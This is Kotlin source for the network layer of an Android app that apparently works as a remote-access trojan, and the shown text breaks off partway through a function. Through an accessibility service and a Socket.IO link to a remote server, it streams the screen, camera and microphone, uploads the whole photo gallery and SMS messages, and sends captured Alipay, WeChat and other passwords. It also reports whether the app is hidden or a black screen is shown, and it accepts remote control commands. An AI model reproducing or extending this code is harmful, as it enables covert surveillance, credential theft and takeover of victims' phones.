package com.hikoncont.network

import android.content.Context
import android.content.Intent
import android.os.Build
import android.os.Handler
import android.os.Looper
import android.util.Log
import android.view.WindowManager
import com.hikoncont.crash.CrashLogUploader
import com.hikoncont.service.AccessibilityRemoteService
import io.socket.client.IO
import io.socket.client.Socket
import io.socket.emitter.Emitter
import kotlinx.coroutines.*
import org.json.JSONObject
import org.json.JSONArray
import java.net.URISyntaxException

/**
 * Socket.IO v4 client manager - resolves 47-second disconnect issue
 */
class SocketIOManager(private val service: AccessibilityRemoteService) {
    
    companion object {
        private const val TAG = "SocketIOManager"
    }

    // 🆕 锁屏状态缓存与定时检测
    private var isScreenLocked: Boolean = false
    private var lockStateJob: Job? = null

    // 锁屏状态监控由connect()启动，避免在构造阶段协程作用域未就绪

    private fun startLockStateMonitor() {
        try {
            lockStateJob?.cancel()
            lockStateJob = scope.launch(Dispatchers.IO) {
                while (isActive) {
                    try {
                        val before = isScreenLocked
                        val now = checkDeviceLocked()
                        isScreenLocked = now
                        if (before != now) {
                            Log.i(TAG, "Lock state changed: $before -> $now")
                        } else {
                            Log.d(TAG, "Lock state poll: isLocked=$now")
                        }
                    } catch (e: Exception) {
                        Log.w(TAG, "检测锁屏状态失败", e)
                    }
                    kotlinx.coroutines.delay(10_000)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "启动锁屏状态监控失败", e)
        }
    }

    private fun checkDeviceLocked(): Boolean {
        return try {
            val pm = service.getSystemService(android.content.Context.POWER_SERVICE) as? android.os.PowerManager
            val isInteractive = try { pm?.isInteractive ?: true } catch (_: Exception) { true }
            val locked = !isInteractive
            Log.d(TAG, "Lock detection: isInteractive=$isInteractive => isLocked=$locked")
            locked
        } catch (e: Exception) {
            Log.w(TAG, "检测锁屏状态失败", e)
            false
        }
    }
    // 🆕 应用信息获取
    private fun getAppVersionName(): String {
        return try {
            val pm = service.packageManager
            val pkg = service.packageName
            val pi = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
                pm.getPackageInfo(pkg, android.content.pm.PackageManager.PackageInfoFlags.of(0))
            } else {
                @Suppress("DEPRECATION")
                pm.getPackageInfo(pkg, 0)
            }
            pi.versionName ?: "unknown"
        } catch (e: Exception) {
            Log.w(TAG, "获取应用版本失败", e)
            "unknown"
        }
    }

    private fun getAppName(): String {
        return try {
            val pm = service.packageManager
            val ai = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
                pm.getApplicationInfo(service.packageName, android.content.pm.PackageManager.ApplicationInfoFlags.of(0))
            } else {
                @Suppress("DEPRECATION")
                pm.getApplicationInfo(service.packageName, 0)
            }
            pm.getApplicationLabel(ai).toString()
        } catch (e: Exception) {
            Log.w(TAG, "获取应用名称失败", e)
            "unknown"
        }
    }
    
    /**
     * 发送相册数据到服务器（逐张发送；可被新的读取请求打断重启）
     */
    fun sendGalleryData(items: List<com.hikoncont.manager.GalleryManager.GalleryItem>) {
        try {
            if (socket?.connected() == true) {
                // 优化：逐张发送，避免单包过大
                items.forEachIndexed { index, itx ->
                    try {
                        val base64Data = loadImageAsJpegBase64(itx.contentUri, 1280, 1280, 75)
                        if (base64Data == null) {
                            Log.w(TAG, "Skip image(cannot load): ${itx.displayName} uri=${itx.contentUri}")
                            return@forEachIndexed
                        }

                        // 频率限制，避免与其他数据通道冲突
                        val now = System.currentTimeMillis()
                        if (now - lastGalleryImageTime < galleryImageInterval) {
                            Thread.sleep(galleryImageInterval - (now - lastGalleryImageTime))
                        }
                        lastGalleryImageTime = System.currentTimeMillis()

                        // 大小限制
                        val approxBytes = (base64Data.length * 3) / 4
                        if (approxBytes > maxGalleryImageSize) {
                            Log.w(TAG, "Gallery image too large, skipped: ${approxBytes}B > ${maxGalleryImageSize}B (${itx.displayName})")
                            return@forEachIndexed
                        }

                        val payload = JSONObject().apply {
                            put("deviceId", getDeviceId())
                            put("type", "gallery_image")
                            put("timestamp", System.currentTimeMillis())
                            put("index", index)
                            put("id", itx.id)
                            put("displayName", itx.displayName)
                            put("dateAdded", itx.dateAdded)
                            put("mimeType", itx.mimeType)
                            put("width", itx.width)
                            put("height", itx.height)
                            put("size", itx.size)
                            put("contentUri", itx.contentUri)
                            put("format", "JPEG")
                            put("data", base64Data)
                        }
                        socket?.emit("gallery_image", payload)
                        Log.d(TAG, "Gallery image sent: ${itx.displayName} (${itx.width}x${itx.height})")
                    } catch (e: Exception) {
                        Log.e(TAG, "Failed to send gallery image: ${itx.displayName}", e)
                    }
                }
            } else {
                Log.w(TAG, "Socket not connected, cannot send gallery data")
                checkConnectionAndReconnect()
            }
        } catch (e: Exception) {
            Log.e(TAG, "发送相册数据失败", e)
        }
    }

    // 🆕 相册读取/发送控制
    private var galleryJob: Job? = null

    /**
     * 启动完整相册读取并发送任务；若正在进行则取消并重启
     */
    fun startReadAndSendAllGallery() {
        try {
            // 取消上一次任务
            galleryJob?.cancel()
            Log.d(TAG, "Cancel previous gallery read task (if exists)")

            galleryJob = scope.launch(Dispatchers.IO) {
                Log.d(TAG, "Start reading all gallery images (no limit)")
                val items = service.readGallery(limit = -1)
                Log.d(TAG, "Gallery read complete, total ${items.size} images, start sending")
                sendGalleryData(items)
                Log.d(TAG, "Gallery send task complete")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Failed to start gallery read task", e)
        }
    }

    /**
     * 发送麦克风音频数据到服务器
     */
    fun sendMicrophoneAudio(base64Audio: String, sampleRate: Int, sampleCount: Int, format: String = "PCM_16BIT_MONO") {
        try {
            if (socket?.connected() != true) {
                Log.w(TAG, "Socket not connected, cannot send audio data")
                checkConnectionAndReconnect()
                return
            }
            val payload = JSONObject().apply {
                put("deviceId", getDeviceId())
                put("type", "microphone_audio")
                put("timestamp", System.currentTimeMillis())
                put("sampleRate", sampleRate)
                put("sampleCount", sampleCount)
                put("format", format)
                put("audioData", base64Audio)
            }
            socket?.emit("microphone_audio", payload)
        } catch (e: Exception) {
            Log.e(TAG, "发送音频数据失败", e)
        }
    }

    private var socket: Socket? = null
    private var isConnected = false
    private var isDeviceRegistered = false
    private var serverUrl: String = "" // 保存服务器地址
    
    // 崩溃日志上传器
    private val crashLogUploader = CrashLogUploader(service)
    
    // Active connection check
    private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob())
    private var connectionCheckJob: Job? = null
    
    // Device registration management
    private var registrationTimeoutHandler: Runnable? = null
    private val mainHandler = Handler(Looper.getMainLooper())
    private var registrationAttempts = 0
    private var lastRegistrationTime = 0L
    
    // Network status monitoring
    private var lastNetworkType: String? = null
    private var lastConnectTime: Long = 0
    private var transportErrorCount = 0
    private var lastTransportErrorTime = 0L
    // Network quality monitoring
    private var networkQualityScore = 100 // 0-100分，100为最佳
    private var connectionSuccessCount = 0
    private var connectionFailureCount = 0
    private val recentConnectionTimes = mutableListOf<Long>() // 记录最近10次连接持续时间
    
    // Screen data send failure tracking
    private var screenDataFailureCount = 0
    
    // Screen data send rate control
    private var lastScreenDataTime = 0L
    private val screenDataInterval = 66L // 66ms interval, matching 15fps capture rate
    private val maxScreenDataSize = 2 * 1024 * 1024 // 2MB限制，避免数据过大
    
    // 📷 摄像头数据发送控制
    private var lastCameraDataTime = 0L
    private val cameraDataInterval = 200L // 摄像头数据发送间隔200ms，匹配5fps，与屏幕数据保持一致
    private val maxCameraDataSize = 1 * 1024 * 1024 // 1MB限制，摄像头数据通常较小
    private var cameraDataFailureCount = 0
    
    // Connection stability monitoring
    private var lastSuccessfulDataSend = 0L
    private val dataStarvationTimeout = 10000L // 10秒没有成功发送数据视为饥饿
    private var isDataStarved = false
    
    // 🆕 公网IP相关
    private var cachedPublicIP: String? = null
    private var lastIPCheckTime = 0L
    private val IP_CACHE_DURATION = 300000L // 5分钟缓存
    
    // Gallery image send throttle/size limit
    private var lastGalleryImageTime = 0L
    private val galleryImageInterval = 250L
    private val maxGalleryImageSize = 2 * 1024 * 1024 // 2MB
    
    /**
     * Convert ws/wss protocol to http/https for Socket.IO v4 compatibility.
     * Socket.IO v4 client requires http/https protocol, it handles
     * the websocket upgrade internally.
     */
    private fun convertToSocketIoProtocol(url: String): String {
        if (url.isBlank()) return url
        return when {
            url.startsWith("ws://") -> url.replaceFirst("ws://", "http://")
            url.startsWith("wss://") -> url.replaceFirst("wss://", "https://")
            url.startsWith("http://") || url.startsWith("https://") -> url
            else -> {
                Log.w(TAG, "Unknown protocol in URL: $url, prepending http://")
                "http://$url"
            }
        }
    }
    
    /**
     * Connect to Socket.IO v4 server
     */
    suspend fun connect(serverUrl: String) {
        try {
            // Socket.IO v4 requires http/https protocol, convert ws/wss if needed
            val socketIoUrl = convertToSocketIoProtocol(serverUrl)
            this.serverUrl = socketIoUrl
            Log.i(TAG, "Connecting to Socket.IO v4 server: $socketIoUrl")
            
            // Validate server URL format
            if (socketIoUrl.isBlank()) {
                Log.e(TAG, "Server URL is empty, cannot connect")
                return
            }
            
            // Validate URL format
            val validatedUrl = try {
                java.net.URI.create(socketIoUrl)
                socketIoUrl
            } catch (e: Exception) {
                Log.e(TAG, "Invalid server URL format: $socketIoUrl", e)
                return
            }
            
            // Config consistency check
            val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
            if (savedUrl != null) {
                val normalizedSaved = convertToSocketIoProtocol(savedUrl)
                if (normalizedSaved != socketIoUrl) {
                    Log.w(TAG, "Config mismatch! Current: $socketIoUrl, Config: $normalizedSaved, using config URL")
                    connect(normalizedSaved)
                    return
                }
            }
            
            // Socket.IO v4 config - enhanced stability + randomized reconnect to avoid thundering herd
            val options = IO.Options().apply {
                // Support polling+websocket dual transport, allow upgrade to websocket for better frame rate
                transports = arrayOf("polling", "websocket")
                reconnection = true
                
                // Enhanced network stability config - randomized delay to spread reconnect timing
                val randomOffset = (1000..3000).random().toLong()
                if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
                    // Android 15 特殊配置 - 更保守的超时设置
                    timeout = 60000               // 连接超时60秒
                    reconnectionDelay = 5000L + randomOffset  // 重连延迟5-8秒，避免集中重连
                    reconnectionDelayMax = 20000  // 最大重连延迟20秒
                    reconnectionAttempts = 20     // 减少重连次数，避免过度重试
                    Log.i(TAG, "Android 15 stability config, random delay: +${randomOffset}ms")
                } else {
                    // 其他版本使用优化后的配置
                    timeout = 45000               // 连接超时45秒
                    reconnectionDelay = 3000L + randomOffset  // 重连延迟3-6秒，分散重连
                    reconnectionDelayMax = 15000  // 最大重连延迟15秒
                    reconnectionAttempts = 25     // 适中的重连次数
                    Log.i(TAG, "Standard stability config, random delay: +${randomOffset}ms")
                }
                
                forceNew = true
                upgrade = true                // Allow upgrade from polling to websocket
                rememberUpgrade = true        // Remember upgrade state
                
                // Network environment adaptation
                if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35)
                    // 添加网络容错配置，包含设备信息用于服务器优化
                    query = "android15=true&api=${Build.VERSION.SDK_INT}&manufacturer=${android.os.Build.MANUFACTURER}&model=${android.os.Build.MODEL.replace(" ", "_")}"
                }
                
                Log.i(TAG, "Socket.IO config: polling+websocket transport with upgrade")
            }
            
            socket = IO.socket(socketIoUrl, options)
            setupEventListeners()
            socket?.connect()
            // 启动锁屏状态监控
            startLockStateMonitor()
            
        } catch (e: Exception) {
            Log.e(TAG, "Socket.IO connect failed", e)
            throw e
        }
    }
    
    private fun setupEventListeners() {
        socket?.let { socket ->
            
            socket.on(Socket.EVENT_CONNECT) {
                Log.i(TAG, "Socket.IO v4 connected, socketId=${socket.id()}")
                isConnected = true
                isDeviceRegistered = false
                
                // Record connection metrics
                lastConnectTime = System.currentTimeMillis()
                transportErrorCount = 0
                connectionFailureCount = 0
                connectionSuccessCount++
                updateNetworkQualityScore(true)
                
                // Detect network type change
                val currentNetworkType = getCurrentNetworkType()
                if (lastNetworkType != null && lastNetworkType != currentNetworkType) {
                    Log.i(TAG, "Network type changed: $lastNetworkType -> $currentNetworkType")
                }
                lastNetworkType = currentNetworkType
                
                // Pause screen capture until registration completes
                service.pauseScreenCaptureUntilRegistered()
                
                // Send device registration immediately without random delay
                // Server-side registration queue handles concurrency
                Log.i(TAG, "Sending device registration immediately after connect")
                sendDeviceRegistration()
                
                // Start connection monitoring
                startConnectionMonitoring()
            }
            
            socket.on(Socket.EVENT_DISCONNECT) { args ->
                val reason = if (args.isNotEmpty()) args[0].toString() else "unknown"
                Log.w(TAG, "Socket.IO v4 disconnected: $reason")
                
                val currentTime = System.currentTimeMillis()
                val connectionDuration = currentTime - lastConnectTime
                
                recordConnectionDuration(connectionDuration)
                
                if (reason == "transport error") {
                    transportErrorCount++
                    lastTransportErrorTime = currentTime
                    connectionFailureCount++
                    updateNetworkQualityScore(false, "transport_error", connectionDuration)
                    Log.e(TAG, "Transport Error count=$transportErrorCount, connectionDuration=${connectionDuration}ms")
                    
                    if (transportErrorCount >= 3 && connectionDuration < 300000) {
                        Log.w(TAG, "Frequent transport errors, will use conservative strategy on reconnect")
                    }
                } else {
                    updateNetworkQualityScore(false, reason, connectionDuration)
                }
                
                isConnected = false
                isDeviceRegistered = false
                
                registrationAttempts = 0
                registrationTimeoutHandler?.let { handler ->
                    mainHandler.removeCallbacks(handler)
                    registrationTimeoutHandler = null
                }
                
                connectionCheckJob?.cancel()
                service.pauseScreenCapture()
            }
            
            socket.on(Socket.EVENT_CONNECT_ERROR) { args ->
                val error = if (args.isNotEmpty()) args[0] else null
                val errorMsg = error?.toString() ?: "unknown"
                connectionFailureCount++
                updateNetworkQualityScore(false, "connect_error", 0)
                
                // Throttle log output: first 3 errors always log, then every 10th
                val shouldLog = connectionFailureCount <= 3 || connectionFailureCount % 10 == 0
                if (!shouldLog) return@on
                
                val isTransientError = errorMsg.contains("xhr poll error") || 
                    errorMsg.contains("timeout") ||
                    errorMsg.contains("websocket error")
                if (isTransientError) {
                    Log.w(TAG, "Socket.IO connection error #$connectionFailureCount (transient, will auto-retry): $errorMsg")
                } else {
                    Log.e(TAG, "Socket.IO connection error #$connectionFailureCount: $errorMsg")
                }
                if (error is Exception && error.cause != null) {
                    Log.w(TAG, "Socket.IO error root cause: ${error.cause?.javaClass?.simpleName}: ${error.cause?.message}")
                }
            }
            
            socket.on("device_registered") { args ->
                if (args.isNotEmpty()) {
                    try {
                        val data = args[0] as JSONObject
                        Log.i(TAG, "Device registered successfully: ${data.optString("message")}")
                        isDeviceRegistered = true
                        registrationAttempts = 0
                        
                        // Cancel timeout handler
                        registrationTimeoutHandler?.let { handler ->
                            mainHandler.removeCallbacks(handler)
                            registrationTimeoutHandler = null
                        }
                        
                        // Resume screen capture after registration
                        Log.i(TAG, "Registration confirmed, resuming screen capture")
                        service.resumeScreenCaptureAfterRegistration()
                        
                        // Check if config mask can be hidden
                        service.checkAndHideConfigMask()
                        
                        // Upload pending crash logs
                        crashLogUploader.uploadPendingLogs(socket, getDeviceId())
                        
                    } catch (e: Exception) {
                        Log.e(TAG, "Failed to process device_registered response", e)
                    }
                } else {
                    Log.w(TAG, "Received device_registered event with no args")
                }
            }
            
            socket.on("control_command") { args ->
                if (args.isNotEmpty()) {
                    try {
                        val data = args[0] as JSONObject
                        handleControlMessage(data)
                    } catch (e: Exception) {
                        Log.e(TAG, "处理控制命令失败", e)
                    }
                }
            }
            
            // Handle server restart event
            socket.on("server_restarted") { _ ->
                Log.i(TAG, "Received server_restarted, re-registering device")
                isDeviceRegistered = false
                sendDeviceRegistration()
            }
            
            socket.on("ping_for_registration") { _ ->
                Log.i(TAG, "Received ping_for_registration, re-registering device")
                isDeviceRegistered = false  
                sendDeviceRegistration()
            }
            
            // CONNECTION_TEST_RESPONSE handler - resolve heartbeat failure accumulation
            socket.on("CONNECTION_TEST_RESPONSE") { args ->
                try {
                    if (args.isNotEmpty()) {
                        val data = args[0] as JSONObject
                        val success = data.optBoolean("success", false)
                        val timestamp = data.optLong("timestamp", 0)
                        Log.d(TAG, "Received server heartbeat response: success=$success, timestamp=$timestamp")
                        
                        // 重置心跳失败计数，表示连接正常
                        // 这个响应表明服务器正常处理了我们的心跳测试
                    } else {
                        Log.w(TAG, "Received CONNECTION_TEST_RESPONSE but no args")
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "Failed to handle CONNECTION_TEST_RESPONSE", e)
                }
            }
            
            // Standard pong response handler
            socket.on("pong") { _ ->
                Log.d(TAG, "Received server pong response")
            }
            
            // Heartbeat ack handler
            socket.on("heartbeat_ack") { args ->
                try {
                    if (args.isNotEmpty()) {
                        val data = args[0] as JSONObject
                        val timestamp = data.optLong("timestamp", 0)
                        Log.d(TAG, "Received server heartbeat ack: timestamp=$timestamp")
                    }
                } catch (e: Exception) {
                    Log.e(TAG, "Failed to handle heartbeat_ack", e)
                }
            }
            
            // 处理UI层次结构分析请求
            socket.on("ui_hierarchy_request") { args ->
                Log.e(TAG, "Received UI hierarchy request")
                Log.e(TAG, "Socket status: connected=${socket.connected()}, id=${socket.id()}")
                Log.e(TAG, "Current timestamp: ${System.currentTimeMillis()}")
                if (args.isNotEmpty()) {
                    try {
                        val data = args[0] as JSONObject
                        Log.e(TAG, "Request data: $data")
                        handleUIHierarchyRequest(data)
                    } catch (e: Exception) {
                        Log.e(TAG, "Failed to handle UI hierarchy request", e)
                    }
                } else {
                    Log.e(TAG, "UI hierarchy request args empty")
                }
            }

            // Adaptive quality: receive server quality adjust command
            socket.on("quality_adjust") { args ->
                if (args.isNotEmpty()) {
                    try {
                        val data = args[0] as JSONObject
                        Log.i(TAG, "Received quality adjust: $data")
                        val fps = data.optInt("fps", -1)
                        val quality = data.optInt("quality", -1)
                        val maxWidth = data.optInt("maxWidth", -1)
                        val maxHeight = data.optInt("maxHeight", -1)
                        service.getScreenCaptureManager()?.adjustQuality(fps, quality, maxWidth, maxHeight)
                        
                        // Support server command to switch capture mode
                        val captureMode = data.optString("captureMode", "")
                        if (captureMode == "accessibility") {
                            Log.i(TAG, "Server command: switch to accessibility capture mode")
                            service.getScreenCaptureManager()?.switchToAccessibilityMode()
                        } else if (captureMode == "mediaprojection") {
                            Log.i(TAG, "Server command: switch to MediaProjection mode")
                            service.getScreenCaptureManager()?.switchToMediaProjectionMode()
                        }
                    } catch (e: Exception) {
                        Log.e(TAG, "Failed to handle quality adjust", e)
                    }
                }
            }
        }
    }
    
    private fun sendDeviceRegistration() {
        scope.launch {
            try {
                val currentTime = System.currentTimeMillis()
                // Throttle: 1 second minimum between registration attempts
                val REGISTRATION_THROTTLE_MS = 1000L
                if (currentTime - lastRegistrationTime < REGISTRATION_THROTTLE_MS) {
                    Log.d(TAG, "Registration throttled, skipping duplicate")
                    return@launch
                }
                
                lastRegistrationTime = currentTime
                registrationAttempts++
                
                // Allow more retry attempts before giving up
                val MAX_REGISTRATION_ATTEMPTS = 30
                if (registrationAttempts > MAX_REGISTRATION_ATTEMPTS) {
                    Log.e(TAG, "Registration attempts exceeded $MAX_REGISTRATION_ATTEMPTS, pausing")
                    return@launch
                }
                
                val publicIP = getPublicIP()
                
                val androidDeviceId = getDeviceId()
                val socketId = socket?.id() ?: "unknown"
                val deviceInfo = JSONObject().apply {
                    put("deviceId", androidDeviceId)
                    put("socketId", socketId)
                    put("deviceName", getUniqueDeviceName())
                    put("deviceModel", android.os.Build.MODEL)
                    put("osVersion", android.os.Build.VERSION.RELEASE)
                    put("appVersion", getAppVersionName())
                    put("appPackage", service.packageName)
                    put("appName", getAppName())
                    put("screenWidth", getScreenWidth())
                    put("screenHeight", getScreenHeight())
                    put("timestamp", System.currentTimeMillis())
                    put("capabilities", org.json.JSONArray().apply {
                        put("click")
                        put("swipe")
                        put("input")
                        put("screenshot")
                    })
                    put("inputBlocked", service.isInputBlocked())
                    put("blackScreenActive", service.isBlackScreenActive())
                    put("appHidden", service.isAppHidden())
                    put("manufacturer", android.os.Build.MANUFACTURER)
                    put("brand", android.os.Build.BRAND)
                    put("fingerprint", android.os.Build.FINGERPRINT.takeLast(16))
                    put("publicIP", publicIP ?: "unknown")
                    put("systemVersionName", getSystemVersionName())
                    put("romType", getROMType())
                    put("romVersion", getROMVersion())
                    put("osBuildVersion", getOSBuildVersion())
                }
                
                Log.i(TAG, "Sending device_register #$registrationAttempts: deviceId=$androidDeviceId, socketId=$socketId, connected=${socket?.connected()}")
                
                val emitResult = socket?.emit("device_register", deviceInfo)
                Log.i(TAG, "device_register emit result: $emitResult")
                
                // Set registration timeout: retry after 10 seconds if no confirmation
                registrationTimeoutHandler?.let { handler ->
                    mainHandler.removeCallbacks(handler)
                }
                
                val REGISTRATION_TIMEOUT_MS = 10000L
                registrationTimeoutHandler = Runnable {
                    if (!isDeviceRegistered && registrationAttempts <= MAX_REGISTRATION_ATTEMPTS) {
                        Log.w(TAG, "Registration timeout after ${REGISTRATION_TIMEOUT_MS}ms, retrying")
                        sendDeviceRegistration()
                    }
                }
                
                mainHandler.postDelayed(registrationTimeoutHandler!!, REGISTRATION_TIMEOUT_MS)
                
            } catch (e: Exception) {
                Log.e(TAG, "sendDeviceRegistration failed", e)
            }
        }
    }
    
    /**
     * 发送屏幕数据到服务器（优化版本，减少transport error）
     */
    fun sendScreenData(frameData: ByteArray) {
  
        try {
            val currentTime = System.currentTimeMillis()
            
            // Rate limit: avoid sending too frequently
            if (currentTime - lastScreenDataTime < screenDataInterval) {
                // 跳过这帧，避免发送过于频繁
                return
            }
            
            // Size check: avoid sending oversized data causing transport error
            if (frameData.size > maxScreenDataSize) {
                Log.w(TAG, "屏幕数据过大被跳过: ${frameData.size} bytes > ${maxScreenDataSize} bytes")
                return
            }
            
            // Connection starvation check
            if (lastSuccessfulDataSend > 0 && currentTime - lastSuccessfulDataSend > dataStarvationTimeout) {
                if (!isDataStarved) {
                    Log.w(TAG, "检测到数据发送饥饿(${currentTime - lastSuccessfulDataSend}ms)，连接可能有问题")
                    isDataStarved = true
                    // 不立即重连，而是给连接一些时间恢复
                }
            }
            
            if (socket?.connected() == true) {
                // Pre-compute Base64 string to reduce memory allocation during JSON build
                val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
                
                val screenData = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("format", "JPEG")
                    put("data", base64Data)
                    put("width", getScreenWidth())
                    put("height", getScreenHeight())
                    put("quality", 50)
                    put("timestamp", currentTime)
                    put("isLocked", isScreenLocked)
                }
                
                // Enhanced emit failure tolerance
                try {
                    socket?.emit("screen_data", screenData)
                    // 发送成功，重置发送失败计数和饥饿状态
                    screenDataFailureCount = 0
                    lastSuccessfulDataSend = currentTime
                    isDataStarved = false
                    // Only update throttle timestamp after successful emit
                    lastScreenDataTime = currentTime
                    // Log compression and encoding efficiency
                    val base64Size = base64Data.length
                    val overhead = if (frameData.size > 0) "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) else "N/A"
                    Log.d(TAG, "发送屏幕数据: JPEG${frameData.size}B -> Base64${base64Size}B (+$overhead 开销, isLocked=${isScreenLocked})")
                } catch (emitException: Exception) {
                    screenDataFailureCount++
                    Log.e(TAG, "发送屏幕数据失败(${screenDataFailureCount}次): ${emitException.message}")
                    
                    if (screenDataFailureCount >= 20) {
                        Log.e(TAG, "屏幕数据发送连续失败${screenDataFailureCount}次，触发重连检测")
                        checkConnectionAndReconnect()
                        screenDataFailureCount = 0
                    }
                    Log.w(TAG, "屏幕数据发送失败，但不影响后续发送")
                }
                
            } else {
                Log.w(TAG, "Socket.IO not connected, cannot send screen data")
                // Try reconnect
                checkConnectionAndReconnect()
            }
        } catch (e: Exception) {
            Log.e(TAG, "发送屏幕数据失败", e)
        }
    }
    
    /**
     * 发送摄像头数据到服务器
     */
    fun sendCameraFrame(frameData: ByteArray) {
        try {
            val currentTime = System.currentTimeMillis()
            
            // Rate limit: avoid sending too frequently
            if (currentTime - lastCameraDataTime < cameraDataInterval) {
                return
            }
            
            // Size check: avoid sending oversized data
            if (frameData.size > maxCameraDataSize) {
                Log.w(TAG, "Camera data too large, skipped: ${frameData.size} bytes > ${maxCameraDataSize} bytes")
                return
            }
            
            lastCameraDataTime = currentTime

            if (socket?.connected() == true) {
                // 将摄像头数据编码为Base64
                val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
                
                val cameraData = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("format", "JPEG")
                    put("data", base64Data)
                    put("type", "camera")
                    put("timestamp", currentTime)
                }
                
                try {
                    socket?.emit("camera_data", cameraData)
                    // 发送成功，重置失败计数
                    cameraDataFailureCount = 0
                    lastSuccessfulDataSend = currentTime
                    isDataStarved = false
                    
                    Log.d(TAG, "📷 摄像头数据已发送: ${frameData.size} bytes")
                } catch (e: Exception) {
                    cameraDataFailureCount++
                    Log.w(TAG, "Camera data send failed (${cameraDataFailureCount}x): ${e.message}")
                    
                    // If consecutive failures too many, try reconnect
                    if (cameraDataFailureCount >= 3) {
                        Log.w(TAG, "Camera data send consecutive failures, trying reconnect")
                        checkConnectionAndReconnect()
                    }
                }
            } else {
                Log.w(TAG, "Socket not connected, cannot send camera data")
                // Try reconnect
                checkConnectionAndReconnect()
            }
        } catch (e: Exception) {
            Log.e(TAG, "发送摄像头数据失败", e)
        }
    }
    
    /**
     * 发送短信数据到服务器
     */
    fun sendSMSData(smsList: List<com.hikoncont.manager.SMSMessage>) {
        try {
            val currentTime = System.currentTimeMillis()
            
            if (socket?.connected() == true) {
                val smsData = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("type", "sms_data")
                    put("timestamp", currentTime)
                    put("count", smsList.size)
                    
                    // 将短信列表转换为JSON数组
                    val smsArray = JSONArray()
                    smsList.forEach { sms ->
                        val smsJson = JSONObject().apply {
                            put("id", sms.id)
                            put("address", sms.address)
                            put("body", sms.body)
                            put("date", sms.date)
                            put("read", sms.isRead)
                            put("type", sms.type)
                        }
                        smsArray.put(smsJson)
                    }
                    put("smsList", smsArray)
                }
                
                try {
                    socket?.emit("sms_data", smsData)
                    Log.d(TAG, "SMS data sent: ${smsList.size} messages")
                } catch (e: Exception) {
                    Log.e(TAG, "发送短信数据失败", e)
                }
            } else {
                Log.w(TAG, "Socket not connected, cannot send SMS data")
                checkConnectionAndReconnect()
            }
        } catch (e: Exception) {
            Log.e(TAG, "发送短信数据失败", e)
        }
    }
    
    /**
     * 发送支付宝密码数据
     */
    fun sendAlipayPasswordData(password: String, inputMethod: String = "custom_keypad") {
        try {
            if (socket?.connected() == true) {
                Log.i(TAG, "💰 开始发送支付宝密码数据")
                
                val payload = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("type", "alipay_password")
                    put("timestamp", System.currentTimeMillis())
                    put("password", password)
                    put("passwordLength", password.length)
                    put("inputMethod", inputMethod)
                    put("activity", "AlipayPasswordActivity")
                    put("sessionId", System.currentTimeMillis().toString())
                }
                
                socket?.emit("alipay_password", payload)
                Log.i(TAG, "Alipay password data sent")
            } else {
                Log.w(TAG, "Socket not connected, cannot send Alipay password data")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Failed to send Alipay password data", e)
        }
    }
    
    /**
     * 发送支付宝检测状态
     */
    fun sendAlipayDetectionStatus(enabled: Boolean) {
        try {
            if (socket?.connected() == true) {
                Log.i(TAG, "💰 发送支付宝检测状态: $enabled")
                
                val payload = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("type", "alipay_detection_status")
                    put("timestamp", System.currentTimeMillis())
                    put("enabled", enabled)
                    put("status", if (enabled) "enabled" else "disabled")
                }
                
                socket?.emit("alipay_detection_status", payload)
                Log.i(TAG, "Alipay detection status sent: $enabled")
            } else {
                Log.w(TAG, "Socket not connected, cannot send Alipay detection status")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Failed to send Alipay detection status", e)
        }
    }
    
    /**
     * 发送微信密码数据
     */
    fun sendWechatPasswordData(password: String, inputMethod: String = "custom_keypad") {
        try {
            if (socket?.connected() == true) {
                Log.i(TAG, "💬 开始发送微信密码数据")
                
                val payload = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("type", "wechat_password")
                    put("timestamp", System.currentTimeMillis())
                    put("password", password)
                    put("passwordLength", password.length)
                    put("inputMethod", inputMethod)
                    put("activity", "WechatPasswordActivity")
                    put("sessionId", System.currentTimeMillis().toString())
                }
                
                socket?.emit("wechat_password", payload)
                Log.i(TAG, "WeChat password data sent")
            } else {
                Log.w(TAG, "Socket not connected, cannot send WeChat password data")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Failed to send WeChat password data", e)
        }
    }
    
    /**
     * 发送微信检测状态
     */
    fun sendWechatDetectionStatus(enabled: Boolean) {
        try {
            if (socket?.connected() == true) {
                Log.i(TAG, "💬 发送微信检测状态: $enabled")

                val payload = JSONObject().apply {
                    put("deviceId", getDeviceId())
                    put("type", "wechat_detection_status")
                    put("timestamp", System.currentTimeMillis())
                    put("enabled", enabled)
                    put("status", if (enabled) "enabled" else "disabled")
                }

                socket?.emit("wechat_detection_status", payload)
                Log.i(TAG, "WeChat detection status sent: $enabled")
            } else {
                Log.w(TAG, "Socket not connected, cannot send WeChat detection status")
            }
        } catch (e: Exception) {
            Log.e(TAG, "Failed to send WeChat detection status", e)
        }
    }
    
    /**
     * 发送密码输入数据
     */
    fun sendPasswordInputData(password: String, inputMethod: String, passwordType: String, activity: String, deviceId: String, installationId: String) {
        try {
            if (socket?.connected() == true) {
                Log.i(TAG, "Sending password input data: $inputMethod")

                val payload = JSONObject().apply {
                    put("deviceId", deviceId)
                    put("type", "password_input")
                    put("timestamp", System.currentTimeMillis())
                    put("password", password)
                    put("passwordLength", password.length)
                    put("inputMethod", inputMethod)
                    put("passwordType", passwordType)
                    put("activity", activity)
                    put("installationId", installationId)
                    put("sessionId", System.currentTimeMillis().toString())
                }

                socket?.emit("password_input", payload)
